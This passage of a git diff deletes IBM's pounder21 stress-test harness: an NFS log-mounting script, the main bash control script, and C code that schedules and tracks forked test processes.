-#            |---   /$HOSTNAME (e.g. testbox)
-#                   |--- KERNEL_VERSION-ARCH (e.g. 2.6.14-i686)
-#    2. Run "$./pounder -u" to umount nfs log server
-#       Otherwise, by default, when ./pounder completed, nfs remains
-#       mounted to the local machine.
-# ASSUMPTION  : Already imported global variables from "libpounder.sh"
-
-if [ -z "$NFS_LOGSERVER" -o -z "$NFS_LOGDIR" ]; then
-	echo "NFS log server not configured."
-	exit 0
-fi
-
-# Path construction:
-
-#nfsserv:/crash/pounder-logs/testbox/2.6.14-i686/somedate/
-#$NFS_LOGSERVER:$NFS_LOGDIR/$NFS_LOGLOCAL/$DATE
-
-#/home/pounder/log
-#$POUNDER_LOGLOCAL
-
-#/home/pounder/log/somedate
-#$POUNDER_LOGDIR or $POUNDER_LOGLOCAL/$DATE
-
-# Are we already mounted?
-IS_MOUNTED=`grep "$POUNDER_LOGLOCAL " /proc/mounts | wc -l`
-if [ $IS_MOUNTED -eq 1 ]; then
-	echo "Log directory already mounted on $POUNDER_LOGLOCAL"
-	exit 0
-fi
-
-# Create local directory for mounting
-mkdir -p "$POUNDER_LOGLOCAL/"
-if [ ! -d "$POUNDER_LOGLOCAL/" ]; then
-	echo "Cannot create $POUNDER_LOGLOCAL/."
-	exit 1
-fi
-
-# Mount NFS log server's top-level log dir
-mount "$NFS_LOGSERVER:$NFS_LOGDIR/" "$POUNDER_LOGLOCAL/" -t nfs -o tcp
-RESULT=$?
-
-if [ $RESULT -gt 0 ]; then
-	echo "Mounting $NFS_LOGSERVER:$NFS_LOGDIR/ on $POUNDER_LOGLOCAL/ failed; logs will be local."
-	exit 2;
-fi
-
-# Create a directory for this run's log files
-mkdir -p "$POUNDER_LOGLOCAL/$NFS_LOGLOCAL/"
-if [ ! -d "$POUNDER_LOGLOCAL/$NFS_LOGLOCAL/" ]; then
-	echo "Cannot create local log dir on log server $POUNDER_LOGLOCAL/$NFS_LOGLOCAL/; logs will be local."
-	umount "$POUNDER_LOGLOCAL/"
-	exit 3
-fi
-
-# Now remount the real log dir on our local machine.
-umount "$POUNDER_LOGLOCAL/"
-mount  "$NFS_LOGSERVER:$NFS_LOGDIR/$NFS_LOGLOCAL/" "$POUNDER_LOGLOCAL/" -t nfs -o tcp
-RESULT=$?
-
-if [ $RESULT -gt 0 ]; then
-	echo "Mounting $NFS_LOGSERVER:$NFS_LOGDIR/$NFS_LOGLOCAL on $POUNDER_LOGLOCAL/ failed; logs will be local."
-	exit 4;
-fi
-
-# Once we return to pounder, it'll create $POUNDER_LOGDIR.
-
-exit 0
diff --git a/tools/pounder21/pounder b/tools/pounder21/pounder
deleted file mode 100755
index caf60d3..0000000
--- a/tools/pounder21/pounder
+++ /dev/null
@@ -1,275 +0,0 @@
-#!/bin/bash
-
-# Main pounder control script.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-source libpounder.sh
-
-# This function kills off pounder and related subprocesses.
-function dokill() {
-	echo "Killing off pounder(s)..."
-	kill -INT `cat $POUNDER_PIDFILE`;
-	rm -rf $POUNDER_PIDFILE
-	#killall -9 randasys 2> /dev/null	# These run as user 'daemon' and have to be killed manually.
-}
-
-# Main function follows
-
-function help() {
-	cat << ENDL
-Usage: ./pounder [-g logdir] [-x] [-d duration] [-n ipaddr] [-m max_failures] [-f] [-h|-u|-r|-k|-l|-e subtests|-i subtests|-c scheduler] [-s]
-
--h      	Brings up this menu
--c scheduler	Creates a new test scheduler called scheduler-tests.tar.gz in the pounder/schedulers folder.
-		All subtests to be packaged with this scheduler must first be placed in the pounder/tests folder.
--x      	Enable X stress tests.
--d duration	Run pounder for duration seconds.
--n ipaddr	Use ipaddr for NFS tests.
--f		Remove pounder pid file before running.
--u      	Unmount NFS log storage.
--r      	Remount NFS log storage.
--g logdir      	Use logdir as the log directory. (You probably want -s too.)
--s      	Store logs locally.
--l      	List (both included and excluded) subtests that came with the test scheduler
--e subtests     Exclude subtests from next pounder run
--i subtests     Include previously excluded subtests in the next pounder run
--k      	Kill pounder.
-
-run "./pounder" to run all subtests
-run "./pounder subtest" to run just one particular subtest
-        (example: ./pounder tests/T90ramp/D02build_kernel)
-ENDL
-}
-
-function exclude() {
-	echo "excluding from tests $@..."
-
-	POUNDER_TESTS=$POUNDER_HOME/tests
-	SUBTESTS_INC=`find $POUNDER_TESTS -name excluded -prune -o -type f -print -o -type l -print`
-
-	for i in $@
-	do
-		BASENAME=`basename "$i"`
-
-		ORIG_DIR=`pwd`
-		cd `dirname $i`
-		FULL_PATH=`pwd`/"$BASENAME"
-		cd $ORIG_DIR
-
-		FOUND=`echo "$SUBTESTS_INC" | grep -x "$FULL_PATH"`
-
-		if [ -n "$FOUND" -a -x "$i" ]; then
-
-			ALREADY_EXCLUDED=`grep -w "$BASENAME" $POUNDER_TESTS/excluded/testlist | cut -d " " -f1`
-			if [ $ALREADY_EXCLUDED ]; then
-				echo $ALREADY_EXCLUDED
-				echo "$BASENAME has already been excluded from the test scheduler. Make sure the test names in the test scheduler are unique."
-				exit 1
-			fi
-
-			echo "$BASENAME" "$FULL_PATH" >> "$POUNDER_TESTS"/excluded/testlist
-			mv "$i" "$POUNDER_TESTS"/excluded/"$BASENAME"
-
-			if [ $? -eq 0 ]; then
-				echo "Successfully removed $i from test scheduler."
-			else
-				echo "Removal of $i from tests UNSUCCESSFUL."
-			fi
-		else
-			echo "$i is not a subtest included in the current scheduler. Use ./pounder -l for list of valid, excludable subtests."
-		fi
-	done
-}
-
-function include() {
-	echo "including in tests $@..."
-
-        POUNDER_EXCLUDED=$POUNDER_HOME/tests/excluded
-
-        for i in $@
-        do
-		ORIG_FILE=`grep -w "$i" $POUNDER_EXCLUDED/testlist | cut -d " " -f2`
-
-		if [ -n "$ORIG_FILE" ]; then
-			mv $POUNDER_EXCLUDED/$i $ORIG_FILE
-			if [ $? -eq 0 ]; then
-				sed "/$i /d" $POUNDER_EXCLUDED/testlist > $POUNDER_EXCLUDED/tempfile
-				mv $POUNDER_EXCLUDED/tempfile $POUNDER_EXCLUDED/testlist
-				echo "Successfully added $i back to test scheduler."
-			else
-				echo "Addition of $i to tests UNSUCCESSFUL."
-			fi
-		else
-			echo "$i is not an excluded subtest. It may already be included in the current scheduler. Use ./pounder -l for list of valid, includable subtests."
-		fi
-        done
-}
-
-function list_tests() {
-
-	if [ ! -d $POUNDER_HOME/tests ]; then
-		echo "Error: No test schedule found. Did you run make install?"
-		exit 1
-	fi
-
-	echo "Included subtests:"
-	INCLUDED_TESTS=`find $POUNDER_HOME/tests -name excluded -prune -o -type f -print -o -type l -print`
-	if [ -z "$INCLUDED_TESTS" ]; then
-		echo "[NONE]"
-	else
-		echo "$INCLUDED_TESTS"
-	fi
-	echo
-
-	echo "Excluded subtests:"
-
-	if [ ! -d $POUNDER_HOME/tests/excluded ]; then
-		echo "Error: $POUNDER_HOME/tests/excluded folder does not exist. Make sure your test scheduler was created or unpackaged correctly. Did you run make install?"
-		exit 1
-	fi
-
-	EXCLUDED_TESTS=`grep -v "#" $POUNDER_HOME/tests/excluded/testlist`
-	if [ -z "$EXCLUDED_TESTS" ]; then
-		echo "[NONE]"
-	else
-		echo "$EXCLUDED_TESTS" | cut -d " " -f1
-	fi
-
-}
-
-function create_scheduler() {
-	TESTS_EXCLUDED=$POUNDER_HOME/tests/excluded
-	REPO_EXCLUDED=$POUNDER_HOME/test_repo/excluded
-
-	if [ ! -d $TESTS_EXCLUDED ]; then
-		cp -r $REPO_EXCLUDED $TESTS_EXCLUDED
-	elif [ ! -e $TESTS_EXCLUDED/testlist ]; then
-		cp $REPO_EXCLUDED/testlist $TESTS_EXCLUDED/testlist
-	fi
-
-	tar -czf $POUNDER_HOME/schedulers/$@-tests.tar.gz tests
-}
-# process options: -x to run in xterms, -k to kill tests, -d to set duration,
-# -f to remove bogus pounder.pid files.
-while getopts d:kn:g:xure:i:m:c:shl? o
-do
-	case "$o" in
-	   d) export DURATION="$OPTARG";;
-	   k) dokill; exit;;
-	   n) export NFS_SERVER="$OPTARG";;
-	   g) export POUNDER_LOGDIR="$OPTARG";;
-	   x) export DO_X_TESTS=1;;
-	   f) rm -rf "$POUNDER_PIDFILE";;
-	   u) umount $POUNDER_HOME/log 2> /dev/null; exit 0;;
-	   s) export NFS_LOGGING=0;;
-	   r) ./nfs_logging; exit;;
-	   e) exclude $OPTARG; exit;;
-	   i) include $OPTARG; exit;;
-	   l) list_tests; exit;;
-	   m) export MAX_FAILURES="$OPTARG";;
-	   c) create_scheduler $OPTARG; exit;;
-	   h) help $0; exit;;
-	   '?') help $0; exit 1;;
-	esac
-done
-
-# Did user ask for X tests when DISPLAY is set?
-# Probably _not_ what the user wants.
-if [ $DO_X_TESTS -eq 1 ] && [ ! -z "$DISPLAY" ]; then
-	echo "WARNING: X tests are enabled and DISPLAY is set.  xterms will appear on this desktop!"
-	echo "WARNING: Kill pounder NOW if this is not what you intended."
-fi
-
-# Get set up to read arguments, even though there aren't any...
-shift `expr $OPTIND - 1`
-
-# Are we already running?
-if [ -f "$POUNDER_PIDFILE" ]; then
-	echo "File $POUNDER_PIDFILE exists; pounder may already be running."
-	echo "Either run 'pounder -k' to stop all tests, or remove it."
-	exit 1
-fi
-
-# Did the user run Install?
-if [ ! -x run-helper -o ! -x timed_loop -o ! -x infinite_loop ]; then
-	echo "Could not find run-helper, infinite_loop or timed_loop.  Did you run Install?"
-	exit -1
-fi
-
-# Try to mount NFS log store.
-if [ -z "$NFS_LOGSERVER" -o -z "$NFS_LOGDIR" ]; then
-	echo "NFS logging disabled because NFS_LOGSERVER or NFS_LOGDIR are not set."
-	export NFS_LOGGING=0
-else
-	if [ $NFS_LOGGING -gt 0 ]; then
-		./nfs_logging
-	fi
-fi
-
-# Set up log directory
-mkdir -p "$POUNDER_LOGDIR" 2> /dev/null
-if [ ! -d "$POUNDER_LOGDIR" ]; then
-	echo "Could not create $POUNDER_LOGDIR; aborting."
-	exit 1
-fi
-
-# Set up dir for optional components
-mkdir -p "$POUNDER_OPTDIR"
-if [ ! -d "$POUNDER_OPTDIR" ]; then
-	echo "Could not create $POUNDER_OPTDIR; aborting."
-	exit 1
-fi
-
-# Set up tmpdir
-mkdir -p "$POUNDER_TMPDIR"
-if [ ! -d "$POUNDER_TMPDIR" ]; then
-	echo "Could not create $POUNDER_TMPDIR; aborting."
-	exit 1
-fi
-
-TEST_HEAD="$1"
-if [ -z $TEST_HEAD ]; then
-	TEST_HEAD=tests
-fi
-
-# needs to be a separate check in case there is no tests/ dir...
-if [ ! -d "$TEST_HEAD" -a ! -f "$TEST_HEAD" ]; then
-	echo "$TEST_HEAD does not exist!"
-	exit 1
-fi
-
-
-# Dump environment variables...
-export > "$POUNDER_LOGDIR/environment"
-
-echo "Starting $POUNDER_VERSION"
-echo "STARTING TESTS."
-echo "To kill all tests, run 'pounder -k' or press ^C."
-
-# Handle the duration thing...
-function kill_after {
-	sleep $DURATION
-	./pounder -k
-}
-if [ ! -z "$DURATION" -a "$DURATION" -gt 0 ]; then
-	kill_after &
-fi
-
-# Now run the tests
-./run-helper $TEST_HEAD --leader
diff --git a/tools/pounder21/proclist.c b/tools/pounder21/proclist.c
deleted file mode 100644
index afc1ee6..0000000
--- a/tools/pounder21/proclist.c
+++ /dev/null
@@ -1,72 +0,0 @@
-/* Manage a list of processes. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <malloc.h>
-#include "proclist.h"
-
-void add_to_proclist(struct proclist_t *list, struct proclist_item_t *item)
-{
-	struct proclist_item_t *curr;
-
-	if (list->head == NULL) {
-		item->next = NULL;
-		list->head = item;
-		return;
-	}
-
-	curr = list->head;
-	while (curr->next != NULL) {
-		curr = curr->next;
-	}
-
-	item->next = NULL;
-	curr->next = item;
-}
-
-void remove_from_proclist(struct proclist_t *list, struct proclist_item_t *item)
-{
-	struct proclist_item_t *curr, *prev;
-
-	if (list->head == NULL) {
-		return;
-	}
-
-	if (list->head == item) {
-		list->head = item->next;
-		item->next = NULL;
-		return;
-	}
-
-	prev = list->head;
-	curr = list->head->next;
-
-	while (curr != NULL && curr != item) {
-		prev = curr;
-		curr = curr->next;
-	}
-
-	if (curr == NULL) {
-		return;
-	}
-
-	prev->next = item->next;
-	item->next = NULL;
-}
diff --git a/tools/pounder21/proclist.h b/tools/pounder21/proclist.h
deleted file mode 100644
index f8ddae4..0000000
--- a/tools/pounder21/proclist.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Declarations to manage a list of processes. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#ifndef PROCLIST_H_
-#define PROCLIST_H_
-
-#include <sys/types.h>
-
-struct proclist_item_t {
-	struct proclist_item_t *next;
-	pid_t pid;
-	char *name;
-};
-
-struct proclist_t {
-	struct proclist_item_t *head;
-};
-
-void add_to_proclist(struct proclist_t *list, struct proclist_item_t *item);
-void remove_from_proclist(struct proclist_t *list, struct proclist_item_t *item);
-
-#endif
diff --git a/tools/pounder21/run.c b/tools/pounder21/run.c
deleted file mode 100644
index dec2d3f..0000000
--- a/tools/pounder21/run.c
+++ /dev/null
@@ -1,681 +0,0 @@
-/*
- * The main pounder process controller and scheduler program.
- * Author: Darrick Wong <djwong@us.ibm.com>
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <errno.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <string.h>
-#include <stdlib.h>
-#include <ctype.h>
-#include <stdarg.h>
-#include <sys/time.h>
-#include <time.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <sys/stat.h>
-
-#include "proclist.h"
-#include "debug.h"
-
-// List of subprocesses to wait upon
-struct proclist_t wait_ons = { NULL };
-struct proclist_t daemons = { NULL };
-
-static int is_leader = 0;
-static char *pidfile = "";
-
-static inline int is_executable(const char *fname);
-static inline int is_directory(const char *fname);
-static inline int test_filter(const struct dirent *p);
-static inline int test_sort(const struct dirent **a, const struct dirent **b);
-static int wait_for_pids(void);
-static void wait_for_daemons(void);
-static void note_process(pid_t pid, char *name);
-static void note_daemon(pid_t pid, char *name);
-static void kill_tests(void);
-static void kill_daemons(void);
-static int process_dir(const char *fname);
-static pid_t spawn_test(char *fname);
-static void note_child(pid_t pid, char *fname, char type);
-static int child_finished(const char *name, int stat);
-static char *progname;
-
-#define TEST_PATH_LEN 512
-#define TEST_FORK_WAIT 100
-
-/**
- * Kill everything upon ^C.
- */
-static void jump_out(int signum)
-{
-	pounder_fprintf(stdout, "Control-C received; aborting!\n");
-	//unlink("pounder_pgrp");
-	kill_tests();
-	kill_daemons();
-	if (is_leader) {
-		unlink(pidfile);
-	}
-	exit(0);
-}
-
-/**
- * Kills tests launched from within.
- */
-static void kill_tests(void)
-{
-	struct proclist_item_t *curr;
-
-	curr = wait_ons.head;
-	while (curr != NULL) {
-		kill(-curr->pid, SIGTERM);
-		curr = curr->next;
-	}
-}
-
-/**
- * Kills daemons launched from within.
- */
-static void kill_daemons(void)
-{
-	struct proclist_item_t *curr;
-
-	curr = daemons.head;
-	while (curr != NULL) {
-		kill(-curr->pid, SIGTERM);
-		curr = curr->next;
-	}
-}
-
-/**
- * Record the pounder leader's PID in a file.
- */
-static void record_pid(void)
-{
-	FILE *fp;
-
-	pidfile = getenv("POUNDER_PIDFILE");
-	if (pidfile == NULL) {
-		pidfile = "pounder.pid";
-	}
-
-	fp = fopen(pidfile, "w");
-	if (fp == NULL) {
-		perror(pidfile);
-	}
-	fprintf(fp, "%d", getpid());
-	fclose(fp);
-}
-
-/**
- * Main program.  Returns 1 if all programs run successfully, 0 if
- * something failed and -1 if there was an error running programs.
- */
-int main(int argc, char *argv[])
-{
-	int retcode;
-	struct sigaction zig;
-	pid_t pid;
-	char *c;
-
-	/* Check parameters */
-	if (argc < 2) {
-		fprintf(stderr, "Usage: %s test_prog\n", argv[0]);
-		return 1;
-	}
-
-	if (argc > 2 && strcmp(argv[2], "--leader") == 0) {
-		pounder_fprintf(stdout,
-				"Logging this test output to %s/POUNDERLOG.\n",
-				getenv("POUNDER_LOGDIR"));
-		is_leader = 1;
-		record_pid();
-	}
-
-	progname = argv[0];
-
-	/* Set up signals */
-	memset(&zig, 0x00, sizeof(zig));
-	zig.sa_handler = jump_out;
-	sigaction(SIGHUP, &zig, NULL);
-	sigaction(SIGINT, &zig, NULL);
-	sigaction(SIGTERM, &zig, NULL);
-
-	if (is_directory(argv[1])) {
-		retcode = process_dir(argv[1]);
-	} else {
-		if (is_executable(argv[1])) {
-			c = rindex(argv[1], '/');
-			c++;
-
-			// Start the test
-			pid = spawn_test(argv[1]);
-			if (pid < 0) {
-				perror("fork");
-				retcode = -1;
-				goto out;
-			}
-			// Track the test
-			note_process(pid, argv[1]);
-			if (wait_for_pids() == 0) {
-				retcode = 1;
-			} else {
-				retcode = 0;
-			}
-		} else {
-			pounder_fprintf(stderr,
-					"%s: Not a directory or a test.\n",
-					argv[1]);
-			retcode = -1;
-		}
-	}
-
-out:
-	kill_daemons();
-	wait_for_daemons();
-	if (is_leader) {
-		if (retcode == 0) {
-			pounder_fprintf(stdout, "%s: %s.\n", argv[1], pass_msg);
-		} else if (retcode < 0 || retcode == 255) {
-			pounder_fprintf(stdout, "%s: %s with code %d.\n",
-					argv[1], abort_msg, retcode);
-		} else {
-			pounder_fprintf(stdout, "%s: %s with code %d.\n",
-					argv[1], fail_msg, retcode);
-		}
-		unlink(pidfile);
-	}
-	exit(retcode);
-}
-
-/**
- * Helper function to determine if a file is executable.
- * Returns 1 if yes, 0 if no and -1 if error.
- */
-static inline int is_executable(const char *fname)
-{
-	struct stat tmp;
-
-	if (stat(fname, &tmp) < 0) {
-		return -1;
-	}
-
-	if (geteuid() == 0) {
-		return 1;
-	} else if (geteuid() == tmp.st_uid) {
-		return tmp.st_mode & S_IXUSR;
-	} else if (getegid() == tmp.st_gid) {
-		return tmp.st_mode & S_IXGRP;
-	} else {
-		return tmp.st_mode & S_IXOTH;
-	}
-}
-
-/**
- * Helper function to determine if a file is a directory.
- * Returns 1 if yes, 0 if no and -1 if error.
- */
-static inline int is_directory(const char *fname)
-{
-	struct stat tmp;
-
-	if (stat(fname, &tmp) < 0) {
-		return 0;
-	}
-
-	return S_ISDIR(tmp.st_mode);
-}
-
-/**
- * Returns 1 if the directory entry's filename fits the test name pattern.
- */
-static inline int test_filter(const struct dirent *p)
-{
-	return ((p->d_name[0] == 'T' || p->d_name[0] == 'D')
-		&& isdigit(p->d_name[1]) && isdigit(p->d_name[2]));
-}
-
-/**
- * Simple routine to compare two tests names such that lower number/name pairs
- * are considered "lesser" values.
- */
-//static inline int test_sort(const struct dirent **a, const struct dirent **b) {
-static inline int test_sort(const struct dirent **a, const struct dirent **b)
-{
-	return strcmp(&(*b)->d_name[1], &(*a)->d_name[1]);
-}
-
-/**
- * Takes the wait() status integer and prints a log message.
- * Returns 1 if there was a failure.
- */
-static int child_finished(const char *name, int stat)
-{
-	int x;
-	// did we sig-exit?
-	if (WIFSIGNALED(stat)) {
-		pounder_fprintf(stdout, "%s: %s on signal %d.\n",
-				name, fail_msg, WTERMSIG(stat));
-		return 1;
-	} else {
-		x = WEXITSTATUS(stat);
-		if (x == 0) {
-			pounder_fprintf(stdout, "%s: %s.\n", name, pass_msg);
-			return 0;
-		} else if (x < 0 || x == 255) {
-			pounder_fprintf(stdout, "%s: %s with code %d.\n",
-					name, abort_msg, x);
-			return 1;
-			// FIXME: add test to blacklist
-		} else {
-			pounder_fprintf(stdout, "%s: %s with code %d.\n",
-					name, fail_msg, x);
-			return 1;
-		}
-	}
-}
-
-/**
- * Wait for some number of PIDs.  If any of them return nonzero, we
- * assume that there was some kind of failure and return 0.  Otherwise,
- * we return 1 to indicate success.
- */
-static int wait_for_pids(void)
-{
-	struct proclist_item_t *curr;
-	int i, stat, res, nprocs;
-	pid_t pid;
-
-	res = 1;
-
-	// figure out how many times we have to wait...
-	curr = wait_ons.head;
-	nprocs = 0;
-	while (curr != NULL) {
-		nprocs++;
-		curr = curr->next;
-	}
-
-	// now wait for children.
-	for (i = 0; i < nprocs;) {
-		pid = wait(&stat);
-
-		if (pid < 0) {
-			perror("wait");
-			return 0;
-		}
-		// go find the child
-		curr = wait_ons.head;
-		while (curr != NULL) {
-			if (curr->pid == pid) {
-				res =
-				    (child_finished(curr->name, stat) ? 0 :
-				     res);
-
-				// one less pid to wait for
-				i++;
-
-				// stop observing
-				remove_from_proclist(&wait_ons, curr);
-				free(curr->name);
-				free(curr);
-				break;
-			}
-			curr = curr->next;
-		}
-
-		curr = daemons.head;
-		while (curr != NULL) {
-			if (curr->pid == pid) {
-				child_finished(curr->name, stat);
-				remove_from_proclist(&daemons, curr);
-				free(curr->name);
-				free(curr);
-				break;
-			}
-			curr = curr->next;
-		}
-	}
-
-	return res;
-}
-
-/**
- * Wait for daemons to finish.  This function does NOT wait for wait_ons.
- */
-static void wait_for_daemons(void)
-{
-	struct proclist_item_t *curr;
-	int i, stat, res, nprocs;
-	pid_t pid;
-
-	res = 1;
-
-	// figure out how many times we have to wait...
-	curr = daemons.head;
-	nprocs = 0;
-	while (curr != NULL) {
-		nprocs++;
-		curr = curr->next;
-	}
-
-	// now wait for daemons.
-	for (i = 0; i < nprocs;) {
-		pid = wait(&stat);
-
-		if (pid < 0) {
-			perror("wait");
-			if (errno == ECHILD) {
-				return;
-			}
-		}
-
-		curr = daemons.head;
-		while (curr != NULL) {
-			if (curr->pid == pid) {
-				child_finished(curr->name, stat);
-				i++;
-				remove_from_proclist(&daemons, curr);
-				free(curr->name);
-				free(curr);
-				break;
-			}
-			curr = curr->next;
-		}
-	}
-}
-
-/**
- * Creates a record of processes that we want to watch for.
- */
-static void note_process(pid_t pid, char *name)
-{
-	struct proclist_item_t *it;
-
-	it = calloc(1, sizeof(struct proclist_item_t));
-	if (it == NULL) {
-		perror("malloc proclist_item_t");
-		// XXX: Maybe we should just waitpid?
-		return;
-	}
-	it->pid = pid;
-	it->name = calloc(strlen(name) + 1, sizeof(char));
-	if (it->name == NULL) {
-		perror("malloc procitem name");
-		// XXX: Maybe we should just waitpid?
-		return;
-	}
-	strcpy(it->name, name);
-
-	add_to_proclist(&wait_ons, it);
-}
-
-/**
- * Creates a record of daemons that should be killed on exit.
- */
-static void note_daemon(pid_t pid, char *name)
-{
-	struct proclist_item_t *it;
-
-	it = calloc(1, sizeof(struct proclist_item_t));
-	if (it == NULL) {
-		perror("malloc proclist_item_t");
-		// XXX: what do we do here?
-		return;
-	}
-	it->pid = pid;
-	it->name = calloc(strlen(name) + 1, sizeof(char));
-	if (it->name == NULL) {
-		perror("malloc procitem name");
-		// XXX: what do we do here?
-		return;
-	}
-	strcpy(it->name, name);
-
-	add_to_proclist(&daemons, it);
-}
-
-/**
- * Starts a test, with the stdin/out/err fd's redirected to logs.
- * The 'fname' parameter should be a relative path from $POUNDER_HOME.
- */
-static pid_t spawn_test(char *fname)
-{
-	pid_t pid;
-	int fd, tmp;
-	char buf[TEST_PATH_LEN], buf2[TEST_PATH_LEN];
-	char *last_slash;
-
-	pid = fork();
-	if (pid == 0) {
-		if (setpgrp() < 0) {
-			perror("setpgid");
-		}
-
-		pounder_fprintf(stdout, "%s: %s test.\n", fname, start_msg);
-
-		// reroute stdin
-		fd = open("/dev/null", O_RDWR);
-		if (fd < 0) {
-			perror("/dev/null");
-			exit(-1);
-		}
-		close(0);
-		tmp = dup2(fd, 0);
-		if (tmp < 0) {
-			perror("dup(/dev/null)");
-			exit(-1);
-		}
-		close(fd);
-
-		// generate log name-- '/' -> '-'.
-		snprintf(buf2, TEST_PATH_LEN, "%s|%s",
-			 getenv("POUNDER_LOGDIR"), fname);
-
-		fd = strlen(buf2);
-		for (tmp = (index(buf2, '|') - buf2); tmp < fd; tmp++) {
-			if (buf2[tmp] == '/') {
-				buf2[tmp] = '-';
-			} else if (buf2[tmp] == '|') {
-				buf2[tmp] = '/';
-			}
-		}
-
-		// make it so that we have a way to get back to the
-		// original console.
-		tmp = dup2(1, 3);
-		if (tmp < 0) {
-			perror("dup(stdout, 3)");
-			exit(-1);
-		}
-		// reroute stdout/stderr
-		fd = open(buf2, O_RDWR | O_CREAT | O_TRUNC | O_SYNC,
-			  S_IWUSR | S_IRUSR | S_IRGRP | S_IROTH);
-		if (fd < 0) {
-			perror(buf2);
-			exit(-1);
-		}
-		close(1);
-		tmp = dup2(fd, 1);
-		if (tmp < 0) {
-			perror("dup(log, 1)");
-			exit(-1);
-		}
-		close(2);
-		tmp = dup2(fd, 2);
-		if (tmp < 0) {
-			perror("dup(log, 2)");
-			exit(-1);
-		}
-		close(fd);
-
-		// let us construct the absolute pathname of the test.
-		// first find the current directory
-		if (getcwd(buf, TEST_PATH_LEN) == NULL) {
-			perror("getcwd");
-			exit(-1);
-		}
-		// then splice cwd + fname
-		snprintf(buf2, TEST_PATH_LEN, "%s/%s", buf, fname);
-
-		// find the location of the last slash
-		last_slash = rindex(buf2, '/');
-
-		if (last_slash != NULL) {
-			// copy the filename part into a new buffer
-			snprintf(buf, TEST_PATH_LEN, "./%s", last_slash + 1);
-
-			// truncate at the last slash
-			*last_slash = 0;
-
-			// and chdir
-			if (chdir(buf2) != 0) {
-				perror(buf2);
-				exit(-1);
-			}
-			// reassign variables
-			fname = buf;
-		}
-		// spawn the process
-		execlp(fname, fname, NULL);
-
-		// If we get here, we can't run the test.
-		perror(fname);
-		exit(-1);
-	}
-
-	tmp = errno;
-	/* yield for a short while, so that the test has
-	 * a little bit of time to run.
-	 */
-	usleep(TEST_FORK_WAIT);
-	errno = tmp;
-
-	return pid;
-}
-
-/**
- * Adds a child process to either the running-test or running-daemon
- * list.
- */
-static void note_child(pid_t pid, char *fname, char type)
-{
-	if (type == 'T') {
-		note_process(pid, fname);
-	} else if (type == 'D') {
-		note_daemon(pid, fname);
-	} else {
-		pounder_fprintf(stdout,
-				"Don't know what to do with child `%s' of type %c.\n",
-				fname, type);
-	}
-}
-
-/**
- * Process a directory--for each entry in a directory, execute files or spawn
- * a new copy of ourself on the new directory.  Process execution is subject to
- * these rules:
- *
- * - Test files that start with the same number '00foo' and '00bar' are allowed
- *   to run simultaneously.
- * - Test files are run in order of number and then name.
- *
- * If a the fork fails, bit 1 of the return code is set.  If a
- * program runs but fails, bit 2 is set.
- */
-static int process_dir(const char *fname)
-{
-	struct dirent **namelist;
-	int i, result = 0;
-	char buf[TEST_PATH_LEN];
-	int curr_level_num = -1;
-	int test_level_num;
-	pid_t pid;
-	int children_ok = 1;
-
-	pounder_fprintf(stdout, "%s: Entering directory.\n", fname);
-
-	i = scandir(fname, &namelist, test_filter,
-		    (int (*)(const void *, const void *))test_sort);
-	if (i < 0) {
-		perror(fname);
-		return -1;
-	}
-
-	while (i--) {
-		/* determine level number */
-		test_level_num = ((namelist[i]->d_name[1] - '0') * 10)
-		    + (namelist[i]->d_name[2] - '0');
-
-		if (curr_level_num == -1) {
-			curr_level_num = test_level_num;
-		}
-
-		if (curr_level_num != test_level_num) {
-			children_ok &= wait_for_pids();
-			curr_level_num = test_level_num;
-		}
-
-		snprintf(buf, TEST_PATH_LEN, "%s/%s", fname,
-			 namelist[i]->d_name);
-		if (is_directory(buf)) {
-			pid = fork();
-			if (pid == 0) {
-				if (setpgrp() < 0) {
-					perror("setpgid");
-				}
-				// spawn a new copy of ourself.
-				execl(progname, progname, buf, NULL);
-
-				perror(progname);
-				exit(-1);
-			}
-		} else {
-			pid = spawn_test(buf);
-		}
-
-		if (pid < 0) {
-			perror("fork");
-			result |= 1;
-			free(namelist[i]);
-			continue;
-		}
-
